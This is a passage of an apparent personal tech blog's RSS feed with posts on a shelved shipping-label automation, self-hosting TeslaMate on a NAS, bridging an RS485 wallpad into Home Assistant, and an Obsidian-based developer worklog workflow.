I wasn't ready to give up yet. *"If Goodsflow won't let me in, my wife drops her packages off at the post office anyway. Why not bypass Goodsflow and register shipments directly through **Korea Post's official Public Data Open API** (`data.go.kr`)?"*

I applied for the **Korea Post Delivery Registration Service (`RegisterDeliveryService`)** on the government Open Data Portal, got an API service key (`[EPOST_SERVICE_KEY_MASKED]`), and dug into the specification. Even though it used a 2000s-era **SOAP 1.2 XML** protocol (`addDelivery`), I built `epost_api.py` to register pre-accepted parcels, retrieve reception numbers (`reqstNo`), and render them directly onto my 1×3 barcode labels.

Right after I finished integrating the code, my wife asked a simple question that stopped me dead in my tracks:

> **Wife**: *"By the way, printing through SmartStore Goodsflow costs 2,900 KRW per box. How much does it cost per box if we book directly through that Korea Post API?"*

My heart sank. I immediately ran a side-by-side comparison of the **Unit Economics**.

| Comparison Metric | 1. SmartStore Goodsflow (Existing) | 2. Direct Korea Post Open API (My Custom Pipeline) |
| :--- | :--- | :--- |
| **Pricing Tier** | SmartStore Partnered B2B Contract Rate | Standard Retail Parcel Counter Rate (4,000 KRW) |
| **Discount Applied** | Partnered small-seller flat rate | 3% (1–2 boxes) to 5% (3–9 boxes) pre-booking discount |
| **Final Cost per Box** | **2,900 KRW (~$2.15)** 🏆 | **3,800 – 3,880 KRW (~$2.85)** |
| **Order Sync** | Auto-registers tracking number in SmartStore | Requires separate dispatch API call |
| **OS Requirement** | **Windows PC + Goodsflow `.exe` Required** | **100% Driverless via Mac / Home NAS / AI** |

The math was brutal.

Using my sleek, zero-click AI pipeline meant my wife could stay on her MacBook and command an AI from the couch—**at the cost of paying an extra ~900 KRW ($0.70) on every single package shipped.**

Even at a modest volume of 30 to 50 packages a month, my "automation" would burn tens of thousands of won in pure profit every month. For a small shop owner who carefully compares the unit price of cardboard boxes and tape to protect her margins, asking her to pay a **"900 KRW husband's-cool-AI-tax"** per order was out of the question.

---

## **4. Why Didn't I Force It with a Headless Windows VM + Playwright Bot?**

Technically, there was one last workaround left on the table:

1. Spin up a lightweight containerized Windows instance (`dockurr/windows`) on the home NAS, or
2. Run a background Python worker with **Playwright (headless browser automation)** on the study Windows PC so that when my wife speaks to the AI, the bot logs into SmartStore, clicks the Goodsflow popup buttons, and prints.

After thinking it through, I deliberately chose **not** to build it. Here is why:

- **We Already Have a Windows PC in the Study**: Spinning up a virtualized Windows VM on a NAS or maintaining a remote RPA bot just to avoid walking three steps into the study was textbook over-engineering.
- **The Fragility of UI Scraping (RPA)**: Naver login 2FA, CAPTCHAs, sudden promotional popups, DOM class changes, and Goodsflow `.exe` agent auto-update prompts—any of these would silently break a headless Playwright bot, guaranteed to happen right before the 2:00 PM shipping cutoff.
- **Maintenance Debt for Family**: If an automation system breaks while I'm at work and leaves my wife unable to print a single shipping label, **automation that cannot survive without its creator isn't a gift to your family—it's a liability.**

---

## **5. Three Engineering Lessons from a Failed Side Project**

Although `/Dev/smartstore-mcp` never made it to production, this "failed" project taught me more than many of my successful ones.

### **Lesson 1: Validate Unit Economics and Ecosystem Constraints Before Writing Code**
When we spot a problem, our instinct is to open a terminal and start coding. I got high on dopamine scanning IPP port 631 and aligning ReportLab coordinates to 0.1mm, while delaying the most critical business question: *"Can an external API access the same 2,900 KRW B2B contract rate?"* Domain policies and unit economics always trump software architecture.

### **Lesson 2: Legacy Moats Are Deeper Than They Look**
Behind something as seemingly trivial as "printing a shipping sticker" lies a tangled web of platform lock-in, B2B carrier contracts, enterprise API paywalls, and 20-year-old Windows `.exe` spooler dependencies. Experiencing this firsthand gave me deep empathy for why so many Korean small business owners still keep an old Windows laptop on their packing desk.

### **Lesson 3: Even Failed Maker Projects Leave Behind Reusable Weapons**
While the SmartStore automation was shelved, the building blocks I created remain in my homelab arsenal:
- A **driverless IPP Everywhere printing pipeline** that streams PDFs straight from Docker to our home network printer.
- A **pixel-perfect `ReportLab` 1×3 label engine** with embedded Korean typography and Code128 barcodes that hits physical die-cut lines with zero drift.
- A clean, reusable **FastMCP SSE server template** for a home NAS.

---

# **Epilogue: What Matters More Than Perfect Automation**

Today, my wife still turns on the Windows PC in the study and clicks the Goodsflow button to print her 2,900 KRW Korea Post labels.

One thing *did* change, though: I went into her Windows browser print settings, locked the margins to `None`, and forced scaling to `100% (Actual Size)`—so **she never wastes a single 200×93mm label sheet to alignment drift anymore.**

My grand promise of a "voice-activated AI shipping system" ended in a humble retreat. Yet that weekend afternoon spent dissecting printer protocols, measuring label sheets with a ruler, and trying to debug my wife's daily workflow remains one of my favorite maker memories.
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/smartstore-mcp-failure.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Where Does My Car Data Go? Self-Hosting TeslaMate on NAS with Docker & Grafana]]></title>
            <link>https://dbgmy.life/en/blog/teslamate-nas-docker-self-hosting</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/teslamate-nas-docker-self-hosting</guid>
            <pubDate>Mon, 12 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Instead of trusting third-party cloud apps with Tesla credentials and live locations, here is how I reclaimed my data sovereignty by self-hosting Elixir-based TeslaMate on my home NAS with 8,700km of real-world telemetry.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **A Computer on Wheels: Endless Telemetry Streams**

<Image
  src="/images/blog/teslamate-nas-docker.png"
  alt="TeslaMate NAS Docker Grafana Architecture"
  width={1200}
  height={675}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
  priority
/>

Every evening when I park in my garage and plug in the charging cable, a familiar train of engineering thoughts crosses my mind:

> *"At what exact rate is the vehicle charging right now? What was my true efficiency (Wh/km) during today's commute? How much phantom drain (vampire drain) occurred in freezing weather?"*

A modern Tesla is far more than an electrified replacement for an internal combustion engine; it is literally a **gigantic, perpetually connected IoT machine**. Beneath the wheels and electric motors lie dozens of sensors and dual computing architectures that continuously stream telemetry into the cloud.

The market is flooded with paid third-party mobile apps and SaaS logging platforms. They look sleek and offer convenient push notifications. However, looking through the lens of security and infrastructure engineering, a persistent question nagged at me:

> **"Is it truly safe or wise to hand over my vehicle's live GPS coordinates, driving history, home geofences, and Tesla API tokens to someone else's cloud server?"**

My answer was unequivocal:
**"I retain my own data sovereignty. I will run an open-source logger on the home NAS humming quietly in my study."**

Here is my practical engineering retrospective on self-hosting **TeslaMate** on Docker to log the complete lifecycle data of my Tesla Model Y (affectionately nicknamed **"Tesli"**).

---

## 1. Why TeslaMate Among All Open-Source Loggers?

While there are several Tesla loggers in the open-source ecosystem, **TeslaMate** stands out due to its rock-solid architectural stability and astonishingly lightweight resource consumption.

```
       [ Tesla Fleet / Streaming API ]
                      │ (HTTPS / WSS)
                      ▼
   ┌─────────────────────────────────────┐
   │        TeslaMate Core (Elixir)      │ ──▶ [ Mosquitto MQTT ]
   │   - Vehicle state polling & sleep   │     (Real-time State Broker)
   └─────────────────────────────────────┘
                      │
                      ▼ (SQL Insert)
   ┌─────────────────────────────────────┐
   │    PostgreSQL + PostGIS Database    │
   │   - Geospatial & time-series storage│
   └─────────────────────────────────────┘
                      │
                      ▼ (Data Query)
   ┌─────────────────────────────────────┐
   │         Grafana Dashboards          │
   │   - 30+ prebuilt telemetry views    │
   └─────────────────────────────────────┘
```

1. **Unrivaled Efficiency on Elixir & Phoenix**
   - Built on Elixir’s lightweight Actor model (BEAM VM), memory consumption stays under a few dozen megabytes. It operates effortlessly 24/7 on low-power home NAS units or Raspberry Pis without straining CPU cycles.
2. **PostgreSQL with PostGIS for Native Geospatial Analysis**
   - Coordinates and travel trajectories are treated with full geospatial query engines rather than raw flat strings, enabling precision elevation and geofence tracking.
3. **Decoupled Mosquitto MQTT Broker**
   - Publishes charging states, battery percentages, and lock statuses as real-time MQTT topics. Connecting this directly to Home Assistant unlocks infinite home automation possibilities.
4. **Out-of-the-Box Curated Grafana Dashboards**
   - Comes pre-bundled with over 30 production-grade Grafana dashboards: Wh/km efficiency curves, battery degradation degradation models, charging taper statistics, and temperature overlays.

---

## 2. Practical Deployment on Home NAS with Docker Compose

My home homelab setup runs on a local NAS server containerized with Docker Compose. The setup is remarkably clean and straightforward.

### Step 1. Drafting `docker-compose.yml`

Create a dedicated directory on your NAS (e.g., `/volume1/docker/teslamate`) and save the following `docker-compose.yml`:

```yaml
version: "3"

services:
  teslamate:
    image: teslamate/teslamate:latest
    restart: unless-stopped
    environment:
      - ENCRYPTION_KEY=YOUR_SECURE_RANDOM_KEY_HERE # Generate via: openssl rand -base64 32
      - DATABASE_USER=teslamate
      - DATABASE_PASS=secret_db_password
      - DATABASE_NAME=teslamate
      - DATABASE_HOST=database
      - MQTT_HOST=mosquitto
    ports:
      - 4000:4000
    volumes:
      - ./import:/opt/app/import
    cap_drop:
      - all

  database:
    image: postgres:17
    restart: unless-stopped
    environment:
      - POSTGRES_USER=teslamate
      - POSTGRES_PASSWORD=secret_db_password
      - POSTGRES_DB=teslamate
    volumes:
      - teslamate-db:/var/lib/postgresql/data

  grafana:
    image: teslamate/grafana:latest
    restart: unless-stopped
    environment:
      - DATABASE_USER=teslamate
      - DATABASE_PASS=secret_db_password
      - DATABASE_NAME=teslamate
      - DATABASE_HOST=database
    ports:
      - 3000:3000
    volumes:
      - teslamate-grafana-data:/var/lib/grafana

  mosquitto:
    image: eclipse-mosquitto:2
    restart: unless-stopped
    command: mosquitto -c /mosquitto-no-auth.conf
    # ports:
    #   - 1883:1883 # Expose if connecting to external Home Assistant
    volumes:
      - mosquitto-conf:/mosquitto/config
      - mosquitto-data:/mosquitto/data

volumes:
  teslamate-db:
  teslamate-grafana-data:
  mosquitto-conf:
  mosquitto-data:
```

> [!IMPORTANT]
> **Generating the Encryption Key**:
> The `ENCRYPTION_KEY` variable protects Tesla tokens stored in the database with AES encryption. Generate a cryptographically secure random key using `openssl rand -base64 32` in your terminal and store it securely.

### Step 2. Firing Up the Stack

Launch the stack using Docker Compose:

```bash
docker compose up -d
```

With that single command, all four microservices (`teslamate`, `database`, `grafana`, `mosquitto`) spin up within an isolated internal bridge network.

---

## 3. Essential Operational & Security Checklist

Whenever I spin up new services as an enthusiastic maker, my internal security engineering radar activates concurrently. Managing convenience without addressing latent security risks is a recipe for trouble.

### 1) Secure Tesla Token Generation & Storage
TeslaMate requires an **API Refresh Token** to query vehicle telemetry.
- Following recent Tesla Auth security overhauls, generate tokens via reputable open-source tools (like the `Auth for Tesla` app or dedicated local helper containers) and register them into the TeslaMate web portal.
- Because tokens are encrypted with `ENCRYPTION_KEY` at rest in PostgreSQL, they remain safe unless the raw NAS storage volume itself is compromised.

### 2) Never Port-Forward Ports to the Public Internet
Your vehicle's real-time trajectory, daily commutes, and residential location represent sensitive physical privacy vectors.
- **Never expose port 4000 or 3000 via router Port Forwarding.**
- If you need remote access while away from home, tunnel through a private mesh VPN such as **Tailscale** or **WireGuard** to reach your internal subnet (`192.168.X.X`).

### 3) Respecting Vehicle Sleep to Eliminate Vampire Drain
One of the biggest pitfalls for EV owners is **Vampire Drain**.
Naively engineered third-party loggers ping vehicle APIs every minute asking *"Are you awake?"*, preventing high-voltage contactors and infotainment computers from ever entering deep sleep and bleeding 3–5% of battery charge overnight.

TeslaMate’s true engineering elegance lies in its **"Time to try sleeping" algorithm**:
- After a drive or charge completes, it monitors vehicle idle status for a configured window (default `21 minutes`).
- Once idle conditions are met, it deliberately suppresses polling to allow the vehicle to enter Deep Sleep.
- On my own dashboard right now, the vehicle reads **'offline for 10 h, 57 min'**, maintaining zero unnecessary standby draw.

---

## 4. Peeking at Real-World Telemetry: 8,700km on Model Y

What does 8,700km of real telemetry look like on my Tesla Model Y?

```
[ TeslaMate Status Card ]
─────────────────────────────────────────────────
 Vehicle Name: Tesli
 Model       : Tesla Model Y Standard Range (RWD)
 Firmware    : 2026.26.6.2
 State       : Offline (Sleeping for 11 hrs)
 Battery     : 77% (Rated Ideal Range: 331.3 km)
 Mileage     : 8,796 km
─────────────────────────────────────────────────
```

### 1) Drives Dashboard (Wh/km & Elevation Correlation)
Visualizes exact routes, speed profiles, and regenerative braking behavior. You can see directly how head-winds, rainstorms, and sub-zero temperatures spike consumption, contrasting highway cruising against stop-and-go urban traffic.

### 2) Charges Dashboard (Tapering Curves & Efficiency Loss)
From AC 7kW home slow chargers to DC Superchargers, the charge tapering curve maps out state-of-charge progression. Crucially, comparing **"Grid Energy Dispensed" vs. "Energy Absorbed by Battery Pack"** exposes true charging efficiency (~90–94%), quantifying thermal losses.

### 3) Battery Health (Degradation Tracking)
Contrasting original 100% full-charge range ratings with current nominal capacities tracks long-term pack health. For Lithium Iron Phosphate (LFP) chemistry, watching balance behavior and degradation plateaus offers immense peace of mind.

---

## 5. Epilogue: The Joy of Debugging Everyday Life

Many treat cars as simple appliances to move from point A to point B. But to an engineer, a software-defined electric vehicle is **one of the most fascinating distributed machines to observe, measure, and debug**.

Freeing yourself from cloud vendor lock-in and quietly assembling your own data repository on a home NAS is not about corporate big-data ambition. It is about the genuine, humble joy of **recording, understanding, and debugging our own daily lives with our own hands**.

If you drive a Tesla and run a home server or NAS, investing a quiet weekend afternoon into spinning up TeslaMate is an endeavor you will not regret. A brand new universe of data awaits.
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/teslamate-nas-docker.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Reverse Engineering RS485 Wallpad to Bento UI: How AI Powered My Home Assistant Overhaul]]></title>
            <link>https://dbgmy.life/en/blog/homeassistant-wallpad-rs485-bento-ui</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/homeassistant-wallpad-rs485-bento-ui</guid>
            <pubDate>Sat, 10 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[From sniffing raw RS485 serial frames to permanently curing the cold-reboot USB port mismatch bug and crafting a modern Bento Grid dashboard with AI pair programming.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **"There was a weekend when I opened up the living room wall and fired up a terminal"**

There was a weekend when I carefully detached the wallpad embedded in our living room wall, hooked up a serial converter to the RS485 communication bus on the back, and opened a serial monitor in the terminal.

The memory of staring blankly at the endless stream of hexadecimal (HEX) bytes flooding my screen is still vivid.  
Flipping the living room light switch on and off to spot which bytes shifted, copying packet dump logs line-by-line into a spreadsheet, and reverse-engineering proprietary protocol frames byte by byte.

Every time I decoded a single control opcode or state response, the dopamine hit was real. But honestly, it was an exhausting, labor-intensive grind.

Fast forward to recently: while doing a comprehensive overhaul of my long-neglected Home Assistant (HA) infrastructure, I had a completely different experience. Those tedious tasks that once took days of manual packet-slicing and syntax wrestling were **streamlined and executed with astonishing speed and precision through AI pair programming**.

Here is the engineering log of how I permanently squashed a years-old cold-reboot USB port mismatch bug and transformed a clunky industrial dashboard into a sleek Reddit-inspired **Bento Grid UI**.

<Image
  src="/images/blog/homeassistant_bento_ui.png"
  alt="Home Assistant Wallpad to Bento UI"
  width={800}
  height={450}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
/>

---

## **1. The Nostalgia of RS485 Packet Reverse Engineering**

Default residential wallpads are notoriously closed ecosystems. Vendors never disclose proprietary protocol specifications, and external integration APIs simply do not exist. For dedicated smart home enthusiasts, the only way forward is tapping into the physical RS485 serial bus and sniffing the traffic directly.

I captured megabytes of raw communication dumps through a serial-to-Ethernet converter and manually deduced the frame boundaries:

```text
[RS485 Frame Protocol Analysis Example (Masked for Security)]
>> [HEADER] [CMD: 0x1X] [TARGET_ID] [DATA: ON]  [CHECKSUM: XOR] (Living room light ON)
<< [HEADER] [RES: 0x9X] [TARGET_ID] [STATE: ON] [CHECKSUM: XOR] (Light status ACK)
>> [HEADER] [CMD: 0x2X] [TARGET_ID] [DATA: 22℃] [CHECKSUM: XOR] (Thermostat target 22℃)
<< [HEADER] [RES: 0xAX] [TARGET_ID] [STATE: 22℃] [CHECKSUM: XOR] (Thermostat status ACK)
>> [HEADER] [CMD: 0xFX] [TARGET_ID] [DATA: LV2] [CHECKSUM: XOR] (Ventilation Fan Level 2)
```

*(※ Actual opcodes and hardware payload signatures are virtualized and masked to prevent protocol fingerprinting and reverse-engineering abuse.)*

- **Header & Command**: Identifying command control bytes (CMD) versus response state bytes (RES) across device categories
- **Payload Field**: Mapping target device IDs, operation flags, and dynamic values (temperature, fan speeds, toggles)
- **Checksum Verification**: Validating packet integrity using byte-wise XOR operations

After mapping out every command byte and response frame, I built a lightweight Node.js bridge daemon (`wallpad_bridge.js`) to pipe traffic between the serial bus, an MQTT broker (Mosquitto), and Home Assistant.

Controlling lights and climate from my smartphone without touching the wallpad was exhilarating. But the real challenge began later: **maintenance**.

---

## **2. The Breaking-Change Storm of HA Upgrades, Meets AI Agent**

Home Assistant evolves at a breakneck pace.  
When I finally upgraded my neglected HA instance to the latest release (`2026.9+`), things broke across the board, exactly as expected:

- Universal migration from legacy `service:` invocations to the unified `action:` syntax across scripts and automations
- Deprecated MQTT entity schema errors failing schema validation
- Dependency breakages across more than 580 entities and complex template sensors (`templates.yaml`)

In the past, resolving this would have meant spending an entire weekend cross-referencing migration guides, deciphering breaking changes, and manually editing dozens of YAML files line by line.

This time, I handed the local HA configuration files and error logs directly to an **AI coding agent**:

1. **Entity Dependency Scan**: Cross-referenced 580+ entity IDs against error logs to instantly flag broken references.
2. **Schema Modernization**: Automatically refactored legacy `service: automation.trigger` blocks to standard `action:` blocks.
3. **MQTT Definition Synchronization**: Reconciled `mqtt.yaml` and template sensors, restoring state and command topics to modern specifications.

Instead of counting bytes manually, prompt-level instructions like *"Refactor the wallpad ventilation fan schema in `mqtt.yaml` to conform with Home Assistant 2026 standards"* yielded syntactically and architecturally clean configurations in minutes. A multi-day chore was wrapped up in an afternoon.

---

## **3. Curing the Chronic Bug: Cold Reboot USB Port Swapping**

Anyone hosting Home Assistant on a dedicated homelab mini PC knows this specific nightmare:  
**The USB port mismatch bug upon cold reboots.**

My homelab server has two USB serial dongles connected simultaneously:
- **Zigbee Coordinator**: Sonoff Zigbee 3.0 USB Dongle Plus
- **Wallpad Interface**: RS485-to-USB Serial Adapter

During boot, the Linux kernel assigns `/dev/ttyUSB*` dynamically based on microsecond hardware detection timing. A warm software reboot usually keeps them in order, but after a power outage or a physical cold boot, the device paths unpredictably swap:

```text
[Normal Boot]
Sonoff Zigbee Dongle  ──▶ /dev/ttyUSB0
RS485 Serial Adapter  ──▶ /dev/ttyUSB1

[Cold Reboot Catastrophe]
Sonoff Zigbee Dongle  ──▶ /dev/ttyUSB1  💥 (Zigbee2MQTT fails to start!)
RS485 Serial Adapter  ──▶ /dev/ttyUSB0  💥 (Wallpad connection dead!)
```

When this happens, every Zigbee smart light, door sensor, and climate monitor in the house falls offline at once.

To permanently solve this, I bypassed the volatile `/dev/ttyUSB*` aliases and configured persistent symlinks based on unique hardware serial identifiers:

```yaml
# ha_config/zigbee2mqtt/configuration.yaml
serial:
  # Before: port: /dev/ttyUSB1 (Unstable across reboots)
  # After: Persistent path bound to hardware serial ID (Partially masked)
  port: /dev/serial/by-id/usb-ITead_Sonoff_Zigbee_3.0_USB_Dongle_Plus_xxxxxxxxxxxxxxxx-if00-port0
  adapter: zstack
```

Regardless of which order the Linux kernel discovers the USB peripherals, the `/dev/serial/by-id/` symlink containing the chipset vendor and unique serial hash remains rock-solid. A chronic issue that caused anxiety after every reboot was permanently resolved.

---

## **4. From Industrial Utility to Modern Bento Grid UI**

With functional reliability fully restored, the final milestone was **UI design**.

Home Assistant's default Lovelace dashboard is functional, but visually dated—reminiscent of a 90s industrial SCADA panel.

Drawing inspiration from the r/homeassistant community, I built a modular **Bento Grid layout**:

```text
┌─────────────────────────────────────────────────────────────────┐
│                      [ BENTO SMART HOME ]                       │
├──────────────────┬──────────────────┬───────────────────────────┤
│  ⛅ CLIMATE      │  💡 LIGHTS       │  ⚡ POWER MONITOR         │
│  - Multi-room Temp│  - Zone Lights   │  - Real-time Wattage      │
│  - Fan / Heating │  - Master Switch │  - Appliance Breakdown   │
├──────────────────┴──────────────────┼───────────────────────────┤
│  🚗 EV STATUS (Tesla)               │  📱 FAMILY PRESENCE       │
│  - Battery SoC & Range              │  - Presence Detection     │
│  - Charging Cable Status            │  - Device Battery Tracker │
├─────────────────────────────────────┴───────────────────────────┤
│  🏠 SMART HOME (Wallpad Bridge)                                 │
│  - Real-time Elevator Status & One-Touch Calling                │
│  - Smart Appliances (Washer, Dryer, Dishwasher, Air Purifier)  │
└─────────────────────────────────────────────────────────────────┘
```

Using Mushroom Cards, `custom:mushroom-chips-card`, and tailored CSS styling, I added key practical details:

1. **Contextual Quick Chips**: 'Good Morning', 'Good Night', and 'Away' chip toggles placed at the header for instant, single-tap routine execution.
2. **Elevator Integration**: Displays real-time elevator movement via wallpad bridge telemetry, allowing a pre-call with a single tap before stepping out the door.
3. **Family Presence & Battery Tracker**: Mobile companion app sensors display family presence and device battery levels with charging indicators.
4. **EV Telemetry Integration**: Integrated battery SoC and estimated driving range directly into dashboard cards alongside homelab Grafana metrics.
5. **Appliance Control Popups**: Interactive cards with clean popups for adjusting fan speeds, air purifier modes, and tracking remaining cycle times on laundry appliances.

Family members no longer ask *"How do I control this?"*—a few taps on the wall-mounted tablet is all it takes.

---

## **5. Reflection: Rediscovering the Pure Joy of Making**

Looking back at the days of dismantling walls and deciphering raw RS485 bytes, that effort built the foundation for truly understanding smart home infrastructure from the ground up.

However, spending countless hours untangling breaking changes and wrestling with YAML indentation drains creative energy. It's often why many makers abandon home automation halfway through.

Pairing with an **AI coding agent** shifted the entire dynamic:
- As the human engineer who understands the hardware wiring and architectural intent, I set the **direction and system design**,
- While the AI agent quickly assembled **modern schemas, migrations, and boilerplate configurations**.

It allowed me to eliminate long-standing technical debt and focus entirely on the **pure joy of making**—crafting a space that is genuinely reliable, beautiful, and enjoyable to live in.

If you have home automation hardware gathering dust waiting for a weekend overhaul, consider teaming up with an AI partner. You might be surprised at how fast the pieces fall into place. ☕
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/homeassistant_bento_ui.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[When Context Outweighs Code: 4 Battle-Tested Tips to Turn Dev History into Knowledge Assets with Obsidian]]></title>
            <link>https://dbgmy.life/en/blog/obsidian-developer-second-brain-workflow</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/obsidian-developer-second-brain-workflow</guid>
            <pubDate>Wed, 16 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In the era of Vibe Coding, how a senior InfoSec specialist and passionate hobbyist maker combines AI coding assistants with Obsidian to capture debugging context and build a continuous knowledge feedback loop.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **"I wrote this code, but I have no idea why I wrote it this way"**

While my day job revolves around enterprise information security and infrastructure, my evenings and weekends belong to side projects and mobile app development. As a passionate hobbyist maker who has touched code for years, I am intimately familiar with that chilling realization every developer eventually faces.

You stumble upon a convoluted piece of business logic or bizarre exception handling written months ago:  
*"Who on earth wrapped a timer twice and added such an eccentric race-condition guard?"*  
You run `git blame` in frustration, only to see your own initials staring right back at you. We have all been there.

Git commit messages and pull request descriptions show only the **outcome (What & How)**.  
The countless dead ends, undocumented OS framework quirks, and trade-offs between architecture and user experience—the critical **context (Why)**—rarely survive inside GitHub diffs.

Today, the software industry is dominated by **"Vibe Coding"**—prompting AI models with natural language to generate functional software at 10x speed. Yet ironically, **the underlying architectural context evaporates faster than ever**.

Having tested Evernote, Notion, Confluence, and Apple Notes, I ultimately standardized on **Obsidian** as the external "Second Brain" for my development logs and AI workflows.

Here are four battle-tested techniques I use to turn development history into durable knowledge assets.

<Image
  src="/images/blog/obsidian_dev_workflow.png"
  alt="Obsidian Developer Second Brain Workflow"
  width={800}
  height={450}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
/>

---

## **1. Freeze Complex Runtimes with In-Line Mermaid Diagrams**

No matter how thoroughly you describe an asynchronous flow or inter-process communication (IPC) in prose, text alone fails to trigger immediate mental recall months later.

During a recent side project involving mobile background process monitoring and system shields, event timings were getting hopelessly tangled.

Instead of launching Figma or Draw.io to export static PNGs, I mapped the sequence flow directly within Obsidian using **Mermaid code blocks**:

````markdown
```mermaid
sequenceDiagram
    autonumber
    actor User as User
    participant App as Main Application
    participant OS as System Scheduler (OS Center)
    participant Worker as Background Monitor Extension
    participant Shield as Policy Shield

    User->>App: Complete event & request unlock
    App->>OS: Register 24-hr continuous surveillance
    App->>OS: Register cumulative threshold events
    App->>Shield: Temporarily release shield
    
    Note over User,Worker: User operates in background
    
    User->>Worker: Time quota expired (Threshold reached)
    Worker->>Worker: Detect threshold trigger
    Worker->>Shield: Immediately re-apply application shield
    Note over User,Shield: Access restriction screen activated!
```
````

### Why this is uniquely powerful:
- **Zero Friction**: No context switching to external design tools.
- **Trivial Maintenance**: When API signatures change, updating two lines of text refreshes the diagram instantly.
- **Instant Recall**: Reopening the note weeks later restores the mental runtime model within seconds.

---

## **2. The 3-Tier Troubleshooting Table: Symptom — Cause — Solution**

Conquering a thorny bug after an all-nighter delivers a rush of dopamine. Most engineers immediately push to GitHub and collapse into bed—only to spend another three days solving the exact same issue six months later.

Immediately after squashing a bug, I document it in Obsidian using a **3-tier troubleshooting table**:

| Symptom | Root Cause | Definitive Solution |
| :--- | :--- | :--- |
| **Events silently dropped when scheduling under a specific interval** | OS framework rejects intervals under 15 minutes and aborts silently | Pivoted from point-in-time scheduling to 24-hr continuous monitoring + cumulative thresholds |
| **Instant re-lock bug right after successful unlock** | Race condition between unlock timestamp write and monitor daemon boot | Recorded unlock epoch in shared storage and instituted a 3-second guard against duplicate triggers |
| **Severe user experience fatigue** | Single mistake terminated entire sessions, creating excessive anxiety | Introduced a retry mechanic, isolating anti-abuse logic so only first-attempt passes count toward metrics |

This table captures the **rationalization** of architectural trade-offs. When future team members—or future you—ask, *"Why is this logic so defensive?"*, this table settles the question definitively.

---

## **3. Escaping the Folder Trap with Maps of Content (MOC) and Backlinks**

Prolonged use of note apps often leads to the **curse of over-categorization**:  
`Project > Mobile > Bugfix > 2026 > Q3...`  
Diving into nested folder hierarchies guarantees you will eventually lose the notes you wrote.

In Obsidian, avoid deep folder hierarchies. Rely instead on **Maps of Content (MOC)** and **bi-directional wikilinks (`[[...]]`)**:

```text
000_Index.md (Master Dashboard)
   └── Project_MOC.md (Project Knowledge Map)
          ├── [[Project/MobileApp/Prompt]] (Specs & Prompts)
          ├── [[Project/MobileApp/Architecture]]
          └── [[Work_Log/2026-09-12_Background_Shield_Bugfix]] (Daily Worklog)
```

- Every worklog includes a parent link in its YAML frontmatter (`up: "[[Project_MOC]]"`) alongside standardized tags (`#domain/project`, `#type/worklog`, `#platform/ios`).
- This lets you navigate top-down via MOCs, while also traversing interconnected concepts via graph views and tag queries.

---

## **4. The Vibe Coding Missing Link: AI-Driven Auto-Logging & Knowledge Loops**

Developers today leverage AI coding assistants like Cursor, Windsurf, and Antigravity. Prompting an agent in natural language to build features in minutes feels like magic.

Yet heavy reliance on Vibe Coding reveals a **fatal flaw**:

### ⚠️ The Vibe Coding Trap: Context Amnesia
1. **Context Loss**: The moment a chat session gets too long or you open a new thread, the AI forgets the hard-won architectural constraints you established earlier.
2. **Repeated Hallucinations**: Prompting the AI to *"adjust scheduling"* often results in it eagerly proposing the exact OS-restricted pattern that failed previously.
3. **The Black Box**: The code works, but because no human documented *why* it was structured that way, the codebase turns into an opaque black box.

### 🤖 The Solution: Equipping AI Agents with Obsidian as an External Brain
Unlike proprietary cloud services, **Obsidian notes are plain Markdown files (`.md`) stored on your local disk**. To an AI agent with filesystem access, your vault is the fastest, cleanest structured database available.

Rather than writing notes by hand, I defined an automated **Agent Skill (`obsidian-worklog`)**:

```yaml
# .agent/skills/obsidian-worklog/SKILL.md
name: obsidian-worklog
description: Automatically record dev worklogs to local Obsidian Vault upon completing major tasks

rules:
  vault_root: "/Users/pukoni/Documents/Obsidian/PUKONI"
  output_path: "Work_Log/YYYY-MM-DD/<Topic>.md"
  requirements:
    - Include standard YAML frontmatter tags & parent MOC backlink
    - Summarize issues in a 3-tier troubleshooting table (Symptom, Cause, Solution)
    - Visualize complex interactions using Mermaid sequence diagrams
    - List modified files, branch info, and actionable Next Steps checklists
```

When an agent completes a feature or bug fix, **it automatically logs a standardized worklog to my local Obsidian Vault**.

```text
[Developer: Vibe Request] ───▶ [AI Agent: Code & Test]
                                     │
                                     ▼ Trigger Skill on Completion
                           ┌───────────────────────────────────┐
                           │   Obsidian Vault (Local Markdown) │
                           │  - 3-Tier Troubleshooting Table   │
                           │  - Mermaid Architecture Diagram   │
                           │  - Standard Tags & MOC Backlinks  │
                           │  - Git Branches & Modified Files  │
                           └───────────────────────────────────┘
                                     │
                                     ▼ Inject Context in Next Session
[New AI Session: "Read log"] ──▶ [AI Agent: Complete Domain Recall]
```

### 🔄 The Knowledge Feedback Loop
The real magic occurs in subsequent development sessions.  
When adding a feature weeks later, I don't need a 20-minute explanation. A single prompt suffices:

> *"Inspect `Work_Log/2026-09-12_Background_Shield_Bugfix.md` in my Obsidian Vault, and implement metric aggregation on top of the 24-hr threshold architecture we built."*

The AI parses the local Markdown note, immediately grasping past pitfalls, Mermaid data flows, and architectural choices, before writing a single line of new code.

Every debugging session compounds into your personal vault, creating an accelerating **knowledge flywheel**.

---

## **Closing: Context is the Engineer's True Asset**

When anyone can generate hundreds of lines of code with a prompt, what constitutes genuine engineering competence?

True leverage is not **the sheer volume of generated code**, but **the depth of context and comprehension you hold over why that code exists**.

Transform your AI assistant from a simple code generator into a partner that cultivates your external brain. The debugging notes you preserve today will become the strongest foundation for you and your AI tomorrow. ☕
]]></content:encoded>
